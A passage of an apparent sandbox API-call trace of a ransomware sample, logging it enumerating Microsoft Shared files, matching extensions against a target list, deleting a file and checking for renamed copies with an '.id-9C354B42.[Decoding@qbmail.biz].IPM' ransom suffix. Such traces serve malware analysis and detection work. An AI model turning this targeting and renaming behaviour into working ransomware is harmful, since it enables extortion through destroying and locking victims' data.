dwFileAttributes=0x2020) returned 1 [0077.231] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0077.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.232] lstrlenW (lpString=".doc") returned 4 [0077.232] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.232] lstrlenW (lpString=".docx") returned 5 [0077.232] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0077.232] lstrlenW (lpString=".pdf") returned 4 [0077.232] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.232] lstrlenW (lpString=".xls") returned 4 [0077.232] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.232] lstrlenW (lpString=".xlsx") returned 5 [0077.232] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0077.232] lstrlenW (lpString=".ppt") returned 4 [0077.232] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.232] lstrlenW (lpString=".zip") returned 4 [0077.232] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.232] lstrlenW (lpString=".rar") returned 4 [0077.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.233] lstrlenW (lpString=".bz2") returned 4 [0077.233] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.233] lstrlenW (lpString=".7z") returned 3 [0077.233] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.233] lstrlenW (lpString=".dbf") returned 4 [0077.233] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.233] lstrlenW (lpString=".1cd") returned 4 [0077.233] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.233] lstrlenW (lpString=".jpg") returned 4 [0077.233] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.233] lstrlenW (lpString=".doc") returned 4 [0077.233] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.233] lstrlenW (lpString=".docx") returned 5 [0077.233] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0077.233] lstrlenW (lpString=".pdf") returned 4 [0077.233] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.233] lstrlenW (lpString=".xls") returned 4 [0077.233] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.233] lstrlenW (lpString=".xlsx") returned 5 [0077.234] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0077.234] lstrlenW (lpString=".ppt") returned 4 [0077.234] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.234] lstrlenW (lpString=".zip") returned 4 [0077.234] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.234] lstrlenW (lpString=".rar") returned 4 [0077.234] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.234] lstrlenW (lpString=".bz2") returned 4 [0077.234] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.234] lstrlenW (lpString=".7z") returned 3 [0077.234] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.234] lstrlenW (lpString=".dbf") returned 4 [0077.234] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.234] lstrlenW (lpString=".1cd") returned 4 [0077.234] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0077.234] lstrlenW (lpString=".jpg") returned 4 [0077.234] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.235] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0077.235] lstrlenW (lpString="Content.xml") returned 11 [0077.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0077.343] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=27045) returned 1 [0077.343] CloseHandle (hObject=0x1bc) returned 1 [0077.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0077.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0077.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0077.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.346] lstrlenW (lpString=".doc") returned 4 [0077.346] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.346] lstrlenW (lpString=".docx") returned 5 [0077.346] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0077.346] lstrlenW (lpString=".pdf") returned 4 [0077.346] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.346] lstrlenW (lpString=".xls") returned 4 [0077.346] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.346] lstrlenW (lpString=".xlsx") returned 5 [0077.346] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0077.347] lstrlenW (lpString=".ppt") returned 4 [0077.347] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.347] lstrlenW (lpString=".zip") returned 4 [0077.347] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.347] lstrlenW (lpString=".rar") returned 4 [0077.347] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.347] lstrlenW (lpString=".bz2") returned 4 [0077.347] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.347] lstrlenW (lpString=".7z") returned 3 [0077.347] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.347] lstrlenW (lpString=".dbf") returned 4 [0077.347] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.347] lstrlenW (lpString=".1cd") returned 4 [0077.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.347] lstrlenW (lpString=".jpg") returned 4 [0077.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.348] lstrlenW (lpString=".doc") returned 4 [0077.348] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.348] lstrlenW (lpString=".docx") returned 5 [0077.348] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0077.348] lstrlenW (lpString=".pdf") returned 4 [0077.348] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.348] lstrlenW (lpString=".xls") returned 4 [0077.348] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.348] lstrlenW (lpString=".xlsx") returned 5 [0077.348] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0077.348] lstrlenW (lpString=".ppt") returned 4 [0077.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.348] lstrlenW (lpString=".zip") returned 4 [0077.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.349] lstrlenW (lpString=".rar") returned 4 [0077.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.349] lstrlenW (lpString=".bz2") returned 4 [0077.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.349] lstrlenW (lpString=".7z") returned 3 [0077.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.349] lstrlenW (lpString=".dbf") returned 4 [0077.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.349] lstrlenW (lpString=".1cd") returned 4 [0077.349] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0077.349] lstrlenW (lpString=".jpg") returned 4 [0077.349] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.350] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0077.350] lstrlenW (lpString="boxed-delete.avi") returned 16 [0077.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.016] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=31744) returned 1 [0078.016] CloseHandle (hObject=0x1f8) returned 1 [0078.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0078.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.017] lstrlenW (lpString=".doc") returned 4 [0078.017] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.017] lstrlenW (lpString=".docx") returned 5 [0078.017] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0078.017] lstrlenW (lpString=".pdf") returned 4 [0078.017] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.017] lstrlenW (lpString=".xls") returned 4 [0078.017] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.017] lstrlenW (lpString=".xlsx") returned 5 [0078.017] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0078.017] lstrlenW (lpString=".ppt") returned 4 [0078.017] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.017] lstrlenW (lpString=".zip") returned 4 [0078.017] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.018] lstrlenW (lpString=".rar") returned 4 [0078.018] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.018] lstrlenW (lpString=".bz2") returned 4 [0078.018] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.018] lstrlenW (lpString=".7z") returned 3 [0078.018] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.018] lstrlenW (lpString=".dbf") returned 4 [0078.018] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.018] lstrlenW (lpString=".1cd") returned 4 [0078.018] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.018] lstrlenW (lpString=".jpg") returned 4 [0078.018] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.019] lstrlenW (lpString=".doc") returned 4 [0078.019] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.019] lstrlenW (lpString=".docx") returned 5 [0078.019] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0078.019] lstrlenW (lpString=".pdf") returned 4 [0078.019] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.019] lstrlenW (lpString=".xls") returned 4 [0078.019] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.019] lstrlenW (lpString=".xlsx") returned 5 [0078.019] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0078.019] lstrlenW (lpString=".ppt") returned 4 [0078.019] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.019] lstrlenW (lpString=".zip") returned 4 [0078.019] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.019] lstrlenW (lpString=".rar") returned 4 [0078.020] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.020] lstrlenW (lpString=".bz2") returned 4 [0078.020] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.020] lstrlenW (lpString=".7z") returned 3 [0078.020] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.020] lstrlenW (lpString=".dbf") returned 4 [0078.020] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.020] lstrlenW (lpString=".1cd") returned 4 [0078.020] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0078.020] lstrlenW (lpString=".jpg") returned 4 [0078.020] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.021] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0078.021] lstrlenW (lpString="correct.avi") returned 11 [0078.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.021] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=197120) returned 1 [0078.021] CloseHandle (hObject=0x1f8) returned 1 [0078.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0078.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.022] lstrlenW (lpString=".doc") returned 4 [0078.022] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.022] lstrlenW (lpString=".docx") returned 5 [0078.022] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0078.022] lstrlenW (lpString=".pdf") returned 4 [0078.022] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.022] lstrlenW (lpString=".xls") returned 4 [0078.022] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.022] lstrlenW (lpString=".xlsx") returned 5 [0078.022] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0078.022] lstrlenW (lpString=".ppt") returned 4 [0078.022] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.022] lstrlenW (lpString=".zip") returned 4 [0078.022] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.023] lstrlenW (lpString=".rar") returned 4 [0078.023] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.023] lstrlenW (lpString=".bz2") returned 4 [0078.023] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.023] lstrlenW (lpString=".7z") returned 3 [0078.023] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.023] lstrlenW (lpString=".dbf") returned 4 [0078.023] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.023] lstrlenW (lpString=".1cd") returned 4 [0078.023] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.023] lstrlenW (lpString=".jpg") returned 4 [0078.023] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.024] lstrlenW (lpString=".doc") returned 4 [0078.024] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.024] lstrlenW (lpString=".docx") returned 5 [0078.024] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0078.024] lstrlenW (lpString=".pdf") returned 4 [0078.024] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.024] lstrlenW (lpString=".xls") returned 4 [0078.024] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.024] lstrlenW (lpString=".xlsx") returned 5 [0078.024] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0078.024] lstrlenW (lpString=".ppt") returned 4 [0078.024] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.024] lstrlenW (lpString=".zip") returned 4 [0078.024] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.024] lstrlenW (lpString=".rar") returned 4 [0078.025] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.025] lstrlenW (lpString=".bz2") returned 4 [0078.025] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.025] lstrlenW (lpString=".7z") returned 3 [0078.025] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.025] lstrlenW (lpString=".dbf") returned 4 [0078.025] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.025] lstrlenW (lpString=".1cd") returned 4 [0078.025] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0078.025] lstrlenW (lpString=".jpg") returned 4 [0078.025] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.026] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0078.026] lstrlenW (lpString="delete.avi") returned 10 [0078.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0078.454] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=224256) returned 1 [0078.455] CloseHandle (hObject=0x1f8) returned 1 [0078.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0078.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.455] lstrlenW (lpString=".doc") returned 4 [0078.455] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.456] lstrlenW (lpString=".docx") returned 5 [0078.456] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0078.456] lstrlenW (lpString=".pdf") returned 4 [0078.456] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.456] lstrlenW (lpString=".xls") returned 4 [0078.456] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.456] lstrlenW (lpString=".xlsx") returned 5 [0078.456] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0078.456] lstrlenW (lpString=".ppt") returned 4 [0078.456] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.456] lstrlenW (lpString=".zip") returned 4 [0078.456] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.456] lstrlenW (lpString=".rar") returned 4 [0078.456] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.456] lstrlenW (lpString=".bz2") returned 4 [0078.456] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.457] lstrlenW (lpString=".7z") returned 3 [0078.457] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.457] lstrlenW (lpString=".dbf") returned 4 [0078.457] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.457] lstrlenW (lpString=".1cd") returned 4 [0078.457] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.457] lstrlenW (lpString=".jpg") returned 4 [0078.457] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.457] lstrlenW (lpString=".doc") returned 4 [0078.457] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0078.458] lstrlenW (lpString=".docx") returned 5 [0078.458] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0078.458] lstrlenW (lpString=".pdf") returned 4 [0078.458] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0078.458] lstrlenW (lpString=".xls") returned 